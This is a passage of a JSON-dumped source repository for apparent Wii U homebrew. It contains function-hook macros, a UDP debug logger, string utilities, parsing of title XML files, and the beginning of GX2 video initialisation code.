__attribute__((section(\".data\"))); \\\n        res my_ ## name(__VA_ARGS__)\n\n#define FUNCTION_PATCHER_METHOD_STORE_SIZE  7\n\ntypedef struct {\n    const u32 replaceAddr;\n    const u32 replaceCall;\n    const u32 library;\n    const char functionName[50];\n    u32 realAddr;\n    u32 restoreInstruction;\n    u8 functionType;\n    u8 alreadyPatched;\n} hooks_magic_t;\n\nvoid PatchInvidualMethodHooks(hooks_magic_t hook_information[],s32 hook_information_size, volatile u32 dynamic_method_calls[]);\nvoid RestoreInvidualInstructions(hooks_magic_t hook_information[],s32 hook_information_size);\nu32 GetAddressOfFunction(const char * functionName,u32 library);\ns32 isDynamicFunction(u32 physicalAddress);\n\nvoid PatchSDK(void);\n\n//Orignal code by Chadderz.\n#define MAKE_MAGIC(x, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # x,0,0,functionType,0}\n#define MAKE_MAGIC_NAME(x,y, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # y,0,0,functionType,0}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _FS_H */\n"
  },
  {
    "path": "src/utils/logger.c",
    "content": "#include <stdarg.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"logger.h\"\n\n#ifdef DEBUG_LOGGER\nstatic int log_socket = -1;\nstatic struct sockaddr_in connect_addr;\nstatic volatile int log_lock = 0;\n\n\nvoid log_init()\n{\n    int broadcastEnable = 1;\n\tlog_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\n\tif (log_socket < 0)\n\t\treturn;\n\n    setsockopt(log_socket, SOL_SOCKET, SO_BROADCAST, &broadcastEnable, sizeof(broadcastEnable));\n\n\tmemset(&connect_addr, 0, sizeof(struct sockaddr_in));\n\tconnect_addr.sin_family = AF_INET;\n\tconnect_addr.sin_port = 4405;\n    connect_addr.sin_addr.s_addr = htonl(INADDR_BROADCAST);\n}\n\nvoid log_print(const char *str)\n{\n    // socket is always 0 initially as it is in the BSS\n    if(log_socket < 0) {\n        return;\n    }\n\n    while(log_lock)\n        os_usleep(1000);\n    log_lock = 1;\n\n    int len = strlen(str);\n    int ret;\n    while (len > 0) {\n        int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet\n        ret = sendto(log_socket, str, block, 0, (struct sockaddr *)&connect_addr, sizeof(struct sockaddr_in));\n        if(ret < 0)\n            break;\n\n        len -= ret;\n        str += ret;\n    }\n\n    log_lock = 0;\n}\n\nvoid log_printf(const char *format, ...)\n{\n    if(log_socket < 0) {\n        return;\n    }\n\n\tchar * tmp = NULL;\n\n\tva_list va;\n\tva_start(va, format);\n\tif((vasprintf(&tmp, format, va) >= 0) && tmp)\n\t{\n        log_print(tmp);\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tfree(tmp);\n}\n#endif\n"
  },
  {
    "path": "src/utils/logger.h",
    "content": "#ifndef __LOGGER_H_\n#define __LOGGER_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <string.h>\n\n#define __FILENAME_X__ (strrchr(__FILE__, '\\\\') ? strrchr(__FILE__, '\\\\') + 1 : __FILE__)\n#define __FILENAME__ (strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILENAME_X__)\n\n#define DEBUG_FUNCTION_LINE(FMT, ARGS...)do { \\\n    log_printf(\"[%24s]%30s@L%04d: \" FMT \"\",__FILENAME__,__FUNCTION__, __LINE__, ## ARGS); \\\n    } while (0)\n\n\n#define DEBUG_LOGGER        0\n\n/* Communication bytes with the server */\n// Com\n#define BYTE_NORMAL                     0xff\n#define BYTE_SPECIAL                    0xfe\n#define BYTE_OK                         0xfd\n#define BYTE_PING                       0xfc\n#define BYTE_LOG_STR                    0xfb\n#define BYTE_DISCONNECT                 0xfa\n\n// SD\n#define BYTE_MOUNT_SD                   0xe0\n#define BYTE_MOUNT_SD_OK                0xe1\n#define BYTE_MOUNT_SD_BAD               0xe2\n\n// Replacement\n#define BYTE_STAT                       0x00\n#define BYTE_STAT_ASYNC                 0x01\n#define BYTE_OPEN_FILE                  0x02\n#define BYTE_OPEN_FILE_ASYNC            0x03\n#define BYTE_OPEN_DIR                   0x04\n#define BYTE_OPEN_DIR_ASYNC             0x05\n#define BYTE_CHANGE_DIR                 0x06\n#define BYTE_CHANGE_DIR_ASYNC           0x07\n#define BYTE_MAKE_DIR                   0x08\n#define BYTE_MAKE_DIR_ASYNC             0x09\n#define BYTE_RENAME                     0x0A\n#define BYTE_RENAME_ASYNC               0x0B\n#define BYTE_REMOVE                     0x0C\n#define BYTE_REMOVE_ASYNC               0x0D\n\n// Log\n#define BYTE_CLOSE_FILE                 0x40\n#define BYTE_CLOSE_FILE_ASYNC           0x41\n#define BYTE_CLOSE_DIR                  0x42\n#define BYTE_CLOSE_DIR_ASYNC            0x43\n#define BYTE_FLUSH_FILE                 0x44\n#define BYTE_GET_ERROR_CODE_FOR_VIEWER  0x45\n#define BYTE_GET_LAST_ERROR             0x46\n#define BYTE_GET_MOUNT_SOURCE           0x47\n#define BYTE_GET_MOUNT_SOURCE_NEXT      0x48\n#define BYTE_GET_POS_FILE               0x49\n#define BYTE_SET_POS_FILE               0x4A\n#define BYTE_GET_STAT_FILE              0x4B\n#define BYTE_EOF                        0x4C\n#define BYTE_READ_FILE                  0x4D\n#define BYTE_READ_FILE_ASYNC            0x4E\n#define BYTE_READ_FILE_WITH_POS         0x4F\n#define BYTE_READ_DIR                   0x50\n#define BYTE_READ_DIR_ASYNC             0x51\n#define BYTE_GET_CWD                    0x52\n#define BYTE_SET_STATE_CHG_NOTIF        0x53\n#define BYTE_TRUNCATE_FILE              0x54\n#define BYTE_WRITE_FILE                 0x55\n#define BYTE_WRITE_FILE_WITH_POS        0x56\n\n#define BYTE_SAVE_INIT                  0x57\n#define BYTE_SAVE_SHUTDOWN              0x58\n#define BYTE_SAVE_INIT_SAVE_DIR         0x59\n#define BYTE_SAVE_FLUSH_QUOTA           0x5A\n#define BYTE_SAVE_OPEN_DIR              0x5B\n#define BYTE_SAVE_REMOVE                0x5C\n\n#define BYTE_CREATE_THREAD              0x60\n\n#ifdef DEBUG_LOGGER\nvoid log_init();\n//void log_deinit(void);\nvoid log_print(const char *str);\nvoid log_printf(const char *format, ...);\n#else\n#define log_init()\n#define log_print(x)\n#define log_printf(x, ...)\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "src/utils/strings.c",
    "content": "#include \"strings.h\"\n\nvoid* m_memcpy(void *dst, const void *src, unsigned int len)\n{\n    const unsigned char *src_ptr = (const unsigned char *)src;\n    unsigned char *dst_ptr = (unsigned char *)dst;\n\n    while(len)\n    {\n        *dst_ptr++ = *src_ptr++;\n        --len;\n    }\n    return dst;\n}\n\nvoid* m_memset(void *dst, int val, unsigned int bytes)\n{\n    unsigned char *dst_ptr = (unsigned char *)dst;\n    unsigned int i = 0;\n    while(i < bytes)\n    {\n        dst_ptr[i] = val;\n        ++i;\n    }\n    return dst;\n}\n\nint m_memcmp(const void * ptr1, const void * ptr2, unsigned int num)\n{\n    const unsigned char *ptr1_cpy = (const unsigned char *)ptr1;\n    const unsigned char *ptr2_cpy = (const unsigned char *)ptr2;\n\n    while(num)\n    {\n        int diff = (int)*ptr1_cpy - (int)*ptr2_cpy;\n        if(diff != 0) {\n            return diff;\n        }\n        ptr1_cpy++;\n        ptr2_cpy++;\n        --num;\n    }\n    return 0;\n}\n\nint m_strnlen(const char* str, unsigned int max_len) {\n    unsigned int i = 0;\n    while (str[i] && (i < max_len)) {\n        i++;\n    }\n    return i;\n}\n\nint m_strlen(const char* str) {\n    unsigned int i = 0;\n    while (str[i]) {\n        i++;\n    }\n    return i;\n}\n\nint m_strlcpy(char *s1, const char *s2, unsigned int max_size)\n{\n    if(!s1 || !s2 || !max_size)\n        return 0;\n\n    unsigned int len = 0;\n    while(s2[len] && (len < (max_size-1)))\n    {\n        s1[len] = s2[len];\n        len++;\n    }\n    s1[len] = 0;\n    return len;\n}\n\nint m_strncpy(char *dst, const char *src, unsigned int max_size)\n{\n    return m_strlcpy(dst, src, max_size); // this is not correct, but mostly we need a terminating zero\n}\n\n\nint m_strncasecmp(const char *s1, const char *s2, unsigned int max_len) {\n    if(!s1 || !s2) {\n        return -1;\n    }\n\n    unsigned int len = 0;\n    while(*s1 && *s2 && len < max_len)\n    {\n        int diff = m_toupper(*s1) - m_toupper(*s2);\n        if(diff != 0) {\n            return diff;\n        }\n\n        s1++;\n        s2++;\n        len++;\n    }\n\n    if(len == max_len) {\n        return 0;\n    }\n\n    int diff = m_toupper(*s1) - m_toupper(*s2);\n    if(diff != 0) {\n        return diff;\n    }\n    return 0;\n}\n\n\nint m_strncmp(const char *s1, const char *s2, unsigned int max_len) {\n    if(!s1 || !s2) {\n        return -1;\n    }\n\n    unsigned int len = 0;\n    while(*s1 && *s2 && len < max_len)\n    {\n        int diff = *s1 - *s2;\n        if(diff != 0) {\n            return diff;\n        }\n\n        s1++;\n        s2++;\n        len++;\n    }\n\n    if(len == max_len) {\n        return 0;\n    }\n\n    int diff = *s1 - *s2;\n    if(diff != 0) {\n        return diff;\n    }\n    return 0;\n}\n\n\nconst char *m_strcasestr(const char *str, const char *pattern)\n{\n    if(!str || !pattern) {\n        return 0;\n    }\n\n    int len = m_strnlen(pattern, 0x1000);\n\n    while(*str)\n    {\n        if(m_strncasecmp(str, pattern, len) == 0) {\n            return str;\n        }\n        str++;\n    }\n    return 0;\n}\n\nlong long m_strtoll(const char *str, char **end, int base)\n{\n    long long value = 0;\n    int sign = 1;\n\n    // skip initial spaces only\n    while(*str == ' ')\n        str++;\n\n    if(*str == '-') {\n        sign = -1;\n        str++;\n    }\n\n    while(*str)\n    {\n        if(base == 16 && m_toupper(*str) == 'X') {\n            str++;\n            continue;\n        }\n\n        if(!(*str >= '0' && *str <= '9') && !(base == 16 && m_toupper(*str) >= 'A' && m_toupper(*str) <= 'F'))\n            break;\n\n        value *= base;\n\n        if(m_toupper(*str) >= 'A' && m_toupper(*str) <= 'F')\n            value += m_toupper(*str) - 'A' + 10;\n        else\n            value += *str - '0';\n\n        str++;\n    }\n\n    if(end)\n        *end = (char*) str;\n\n    return value * sign;\n}\n"
  },
  {
    "path": "src/utils/strings.h",
    "content": "#ifndef __STRINGS_H_\n#define __STRINGS_H_\n\nstatic inline int m_toupper(int c) {\n    return (c >= 'a' && c <= 'z') ? (c - 0x20) : c;\n}\n\nvoid* m_memcpy(void *dst, const void *src, unsigned int len);\nvoid* m_memset(void *dst, int val, unsigned int len);\nint m_memcmp (const void * ptr1, const void * ptr2, unsigned int num);\n\n/* string functions */\nint m_strncasecmp(const char *s1, const char *s2, unsigned int max_len);\nint m_strncmp(const char *s1, const char *s2, unsigned int max_len);\nint m_strncpy(char *dst, const char *src, unsigned int max_size);\nint m_strlcpy(char *s1, const char *s2, unsigned int max_size);\nint m_strnlen(const char* str, unsigned int max_size);\nint m_strlen(const char* str);\nconst char *m_strcasestr(const char *str, const char *pattern);\nlong long m_strtoll(const char *str, char **end, int base);\n\n#endif // __STRINGS_H_\n"
  },
  {
    "path": "src/utils/utils.c",
    "content": "\n\nvoid m_DCFlushRange(unsigned int startAddr, unsigned int size)\n{\n    register unsigned int addr = startAddr & ~0x1F;\n    register unsigned int end_addr = startAddr + size;\n\n    while(addr < end_addr)\n    {\n        asm volatile(\"dcbf 0, %0\" : : \"r\"(addr));\n        addr += 0x20;\n    }\n    asm volatile(\"sync; eieio\");\n}\n\n\nvoid m_DCInvalidateRange(unsigned int startAddr, unsigned int size)\n{\n    register unsigned int addr = startAddr & ~0x1F;\n    register unsigned int end_addr = startAddr + size;\n\n    while(addr < end_addr)\n    {\n        asm volatile(\"dcbi 0, %0\" : : \"r\"(addr));\n        addr += 0x20;\n    }\n}\n"
  },
  {
    "path": "src/utils/utils.h",
    "content": "#ifndef __UTILS_H_\n#define __UTILS_H_\n\n#include <malloc.h>\n#include \"../common/types.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define LIMIT(x, min, max)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t({\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\ttypeof( x ) _x = x;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\ttypeof( min ) _min = min;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\ttypeof( max ) _max = max;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) );\t\\\n\t})\n\n#define DegToRad(a)   ( (a) *  0.01745329252f )\n#define RadToDeg(a)   ( (a) * 57.29577951f )\n\n#define ALIGN4(x)           (((x) + 3) & ~3)\n#define ALIGN32(x)          (((x) + 31) & ~31)\n\n// those work only in powers of 2\n#define ROUNDDOWN(val, align)   ((val) & ~(align-1))\n#define ROUNDUP(val, align)     ROUNDDOWN(((val) + (align-1)), align)\n\n#define le16(i)         ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8)))\n#define le32(i)         ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16)))\n#define le64(i)         ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))\n\nvoid m_DCFlushRange(unsigned int startAddr, unsigned int size);\nvoid m_DCInvalidateRange(unsigned int startAddr, unsigned int size);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __UTILS_H_\n"
  },
  {
    "path": "src/utils/xml.c",
    "content": "#include <stdio.h>\n#include <string.h>\n#include \"strings.h\"\n#include \"common/kernel_defs.h\"\n#include \"dynamic_libs/fs_functions.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"fs/fs_utils.h\"\n#include \"utils.h\"\n#include \"logger.h\"\n\n#define XML_BUFFER_SIZE         8192\n\nchar * XML_GetNodeText(const char *xml_part, const char * nodename, char * output, int output_size)\n{\n    // create '<' + nodename\n    char buffer[strlen(nodename) + 3];\n    buffer[0] = '<';\n    strlcpy(&buffer[1], nodename, sizeof(buffer));\n\n    const char *start = strcasestr(xml_part, buffer);\n    if(!start)\n        return 0;\n\n    // find closing tag\n    while(*start && *start != '>')\n        start++;\n    // skip '>'\n    if(*start == '>')\n        start++;\n\n    // create '</' + nodename\n    buffer[0] = '<';\n    buffer[1] = '/';\n    strlcpy(&buffer[2], nodename, sizeof(buffer));\n\n    // search for end of string\n    const char *end = strcasestr(start, buffer);\n    if(!end)\n        return 0;\n\n    // copy the stuff in between\n    int len = 0;\n    while(start < end && len < (output_size-1))\n    {\n        output[len++] = *start++;\n    }\n\n    output[len] = 0;\n    return output;\n}\n\nint LoadXmlParameters(ReducedCosAppXmlInfo * xmlInfo, const char *rpx_name, const char *path)\n{\n    //--------------------------------------------------------------------------------------------\n    // setup default data\n    //--------------------------------------------------------------------------------------------\n    memset(xmlInfo, 0, sizeof(ReducedCosAppXmlInfo));\n    xmlInfo->version_cos_xml = 18;             // default for most games\n    xmlInfo->os_version = 0x000500101000400A;  // default for most games\n    xmlInfo->title_id = OSGetTitleID();        // use mii maker ID\n    xmlInfo->app_type = 0x80000000;            // default for most games\n    xmlInfo->cmdFlags = 0;                     // default for most games\n    strlcpy(xmlInfo->rpx_name, rpx_name, sizeof(xmlInfo->rpx_name));\n    xmlInfo->max_size = 0x40000000;            // default for most games\n    xmlInfo->avail_size = 0;                   // default for most games\n    xmlInfo->codegen_size = 0;                 // default for most games\n    xmlInfo->codegen_core = 1;                 // default for most games\n    xmlInfo->max_codesize = 0x03000000;        // i think this is the best for most games\n    xmlInfo->overlay_arena = 0;                // only very few have that set to 1\n    xmlInfo->exception_stack0_size = 0x1000;   // default for most games\n    xmlInfo->exception_stack1_size = 0x1000;   // default for most games\n    xmlInfo->exception_stack2_size = 0x1000;   // default for most games\n    xmlInfo->sdk_version = 20909;              // game dependent, lets take the one from mii maker\n    xmlInfo->title_version = 0;                // game dependent, we say its 0\n    //--------------------------------------------------------------------------------------------\n    char* path_copy = (char*)malloc(FS_MAX_MOUNTPATH_SIZE);\n    if (!path_copy)\n        return -1;\n\n    char* xmlNodeData = (char*)malloc(XML_BUFFER_SIZE);\n    if(!xmlNodeData) {\n        free(path_copy);\n        return -3;\n    }\n\n    // create path\n    snprintf(path_copy, FS_MAX_MOUNTPATH_SIZE, \"%s/cos.xml\", path);\n\n    char* xmlData = NULL;\n    u32 xmlSize = 0;\n\n    if(LoadFileToMem(path_copy, (u8**) &xmlData, &xmlSize) > 0)\n    {\n        // ensure 0 termination\n        xmlData[XML_BUFFER_SIZE-1] = 0;\n\n\n        if(XML_GetNodeText(xmlData, \"version\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 10);\n            xmlInfo->version_cos_xml = value;\n        }\n        if(XML_GetNodeText(xmlData, \"cmdFlags\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 10);\n            xmlInfo->cmdFlags = value;\n        }\n        if(XML_GetNodeText(xmlData, \"argstr\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            // use arguments from xml if rpx name matches with FS\n            if (strncasecmp(xmlNodeData, rpx_name, strlen(rpx_name)) == 0)\n            {\n                strlcpy(xmlInfo->rpx_name, xmlNodeData, sizeof(xmlInfo->rpx_name));\n            }\n        }\n        if(XML_GetNodeText(xmlData, \"avail_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->avail_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"codegen_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->codegen_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"codegen_core\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->codegen_core = value;\n        }\n        if(XML_GetNodeText(xmlData, \"max_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->max_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"max_codesize\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->max_codesize = value;\n        }\n        if(XML_GetNodeText(xmlData, \"overlay_arena\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->overlay_arena = value;\n        }\n        if(XML_GetNodeText(xmlData, \"default_stack0_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->default_stack0_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"default_stack1_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->default_stack1_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"default_stack2_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->default_stack2_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"default_redzone0_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->default_redzone0_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"default_redzone1_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->default_redzone1_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"default_redzone2_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->default_redzone2_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"exception_stack0_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->exception_stack0_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"exception_stack1_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->exception_stack0_size = value;\n        }\n        if(XML_GetNodeText(xmlData, \"exception_stack2_size\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->exception_stack0_size = value;\n        }\n    }\n\n    //! free previous XML data memory\n    free(xmlData);\n\n    // create path\n    snprintf(path_copy, FS_MAX_MOUNTPATH_SIZE, \"%s/app.xml\", path);\n\n    if(LoadFileToMem(path_copy, (u8**) &xmlData, &xmlSize) > 0)\n    {\n        // ensure 0 termination\n        xmlData[XML_BUFFER_SIZE-1] = 0;\n\n        //--------------------------------------------------------------------------------------------\n        // version tag is still unknown where it is used\n        //--------------------------------------------------------------------------------------------\n        if(XML_GetNodeText(xmlData, \"os_version\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint64_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->os_version = value;\n        }\n        if(XML_GetNodeText(xmlData, \"title_id\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint64_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->title_id = value;\n\n        }\n        if(XML_GetNodeText(xmlData, \"title_version\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->title_version = value;\n        }\n        if(XML_GetNodeText(xmlData, \"sdk_version\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 10);\n            xmlInfo->sdk_version = value;\n        }\n        if(XML_GetNodeText(xmlData, \"app_type\", xmlNodeData, XML_BUFFER_SIZE))\n        {\n            uint32_t value = m_strtoll(xmlNodeData, 0, 16);\n            xmlInfo->app_type = value;\n        }\n        //--------------------------------------------------------------------------------------------\n        // group_id tag is still unknown where it is used\n        //--------------------------------------------------------------------------------------------\n    }\n\n    free(xmlData);\n    free(xmlNodeData);\n    free(path_copy);\n\n    return 0;\n}\n\nint GetId6FromMeta(const char *path, char *id6)\n{\n    id6[0] = 0;\n    char* path_copy = (char*)malloc(FS_MAX_MOUNTPATH_SIZE);\n    if (!path_copy)\n        return -1;\n\n    char* xmlNodeData = (char*)malloc(XML_BUFFER_SIZE);\n    if(!xmlNodeData) {\n        free(path_copy);\n        return -3;\n    }\n\n    // create path\n    snprintf(path_copy, FS_MAX_MOUNTPATH_SIZE, \"%s/meta.xml\", path);\n\n    char* xmlData = NULL;\n    u32 xmlSize = 0;\n\n    if(LoadFileToMem(path_copy, (u8**) &xmlData, &xmlSize) > 0)\n    {\n        // ensure 0 termination\n        xmlData[XML_BUFFER_SIZE-1] = 0;\n\n        if(XML_GetNodeText(xmlData, \"product_code\", xmlNodeData, XML_BUFFER_SIZE) && strlen(xmlNodeData) == 10)\n            strncpy(id6, xmlNodeData + 6, 4);\n        if(XML_GetNodeText(xmlData, \"company_code\", xmlNodeData, XML_BUFFER_SIZE) && strlen(xmlNodeData) == 4)\n            strncpy(id6 + 4, xmlNodeData + 2, 2);\n\n        id6[6] = 0;\n    }\n\n    free(xmlData);\n    free(xmlNodeData);\n    free(path_copy);\n\n    if(strlen(id6) == 6)\n        return 0;\n    else\n        return -2;\n}\n"
  },
  {
    "path": "src/utils/xml.h",
    "content": "#ifndef __XML_H_\n#define __XML_H_\n\n#include \"../common/kernel_defs.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nchar * XML_GetNodeText(const char *xml_part, const char * nodename, char * output, int output_size);\nint LoadXmlParameters(ReducedCosAppXmlInfo * xmlInfo, const char *rpx_name, const char *path);\nint GetId6FromMeta(const char *path, char *output);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __XML_H_\n"
  },
  {
    "path": "src/video/CVideo.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"CVideo.h\"\n#include \"system/memory.h\"\n#include \"shaders/Texture2DShader.h\"\n#include \"shaders/ColorShader.h\"\n#include \"shaders/Shader3D.h\"\n#include \"shaders/ShaderFractalColor.h\"\n#include \"shaders/FXAAShader.h\"\n#include \"dynamic_libs/os_functions.h\"\n\nCVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode)\n{\n    tvEnabled = false;\n    drcEnabled = false;\n\n    //! allocate MEM2 command buffer memory\n    gx2CommandBuffer = MEM2_alloc(GX2_COMMAND_BUFFER_SIZE, 0x40);\n\n    //! initialize GX2 command buffer\n    u32 gx2_init_attributes[9];\n    gx2_init_attributes[0] = GX2_INIT_ATTRIB_CB_BASE;\n    gx2_init_attributes[1] = (u32)gx2CommandBuffer;\n    gx2_init_attributes[2] = GX2_INIT_ATTRIB_CB_SIZE;\n    gx2_init_attributes[3] = GX2_COMMAND_BUFFER_SIZE;\n    gx2_init_attributes[4] = GX2_INIT_ATTRIB_ARGC;\n    gx2_init_attributes[5] = 0;\n    gx2_init_attributes[6] = GX2_INIT_ATTRIB_ARGV;\n    gx2_init_attributes[7] = 0;\n    gx2_init_attributes[8] = GX2_INIT_ATTRIB_NULL;\n    GX2Init(gx2_init_attributes);\n\n    //! GX2 resources are not used in this application but if needed, the allocator is setup\n    GX2RSetAllocator(&CVideo::GX2RAlloc, &CVideo::GX2RFree);\n\n    u32 scanBufferSize = 0;\n    s32 scaleNeeded = 0;\n\n    s32 tvScanMode = (forceTvScanMode >= 0) ? forceTvScanMode : GX2GetSystemTVScanMode();\n    s32 drcScanMode = (forceDrcScanMode >= 0) ? forceDrcScanMode : GX2GetSystemDRCScanMode();\n\n    s32 tvRenderMode;\n    u32 tvWidth = 0;\n    u32 tvHeight = 0;\n\n    switch(tvScanMode)\n    {\n    case GX2_TV_SCAN_MODE_480I:\n    case GX2_TV_SCAN_MODE_480P:\n        tvWidth = 854;\n        tvHeight = 480;\n        tvRenderMode = GX2_TV_RENDER_480_WIDE;\n        break;\n    case GX2_TV_SCAN_MODE_1080I:\n    case GX2_TV_SCAN_MODE_1080P:\n        tvWidth = 1920;\n        tvHeight = 1080;\n        tvRenderMode = GX2_TV_RENDER_1080;\n        break;\n    case GX2_TV_SCAN_MODE_720P:\n    default:\n        tvWidth = 1280;\n        tvHeight = 720;\n        tvRenderMode = GX2_TV_RENDER_720;\n        break;\n    }\n\n    s32 tvAAMode = GX2_AA_MODE_1X;\n    s32 drcAAMode = GX2_AA_MODE_4X;\n\n    //! calculate the scale factor for later texture resize\n    widthScaleFactor = 1.0f / (f32)tvWidth;\n    heightScaleFactor = 1.0f / (f32)tvHeight;\n    depthScaleFactor = widthScaleFactor;\n\n    //! calculate the size needed for the TV scan buffer and allocate the buffer from bucket memory\n    GX2CalcTVSize(tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded);\n    tvScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT);\n    GX2Invalidate(GX2_INVALIDATE_CPU, tvScanBuffer, scanBufferSize);\n    GX2SetTVBuffer(tvScanBuffer, scanBufferSize, tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE);\n\n    //! calculate the size needed for the DRC scan buffer and allocate the buffer from bucket memory\n    GX2CalcDRCSize(drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded);\n    drcScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT);\n    GX2Invalidate(GX2_INVALIDATE_CPU, drcScanBuffer, scanBufferSize);\n    GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE);\n\n    //! Setup color buffer for TV rendering\n    GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, tvAAMode);\n    tvColorBuffer.surface.image_data = MEM1_alloc(tvColorBuffer.surface.image_size, tvColorBuffer.surface.align);\n    GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.surface.image_data, tvColorBuffer.surface.image_size);\n\n    //! due to AA we can only use 16 bit depth buffer in MEM1 otherwise we would have to switch 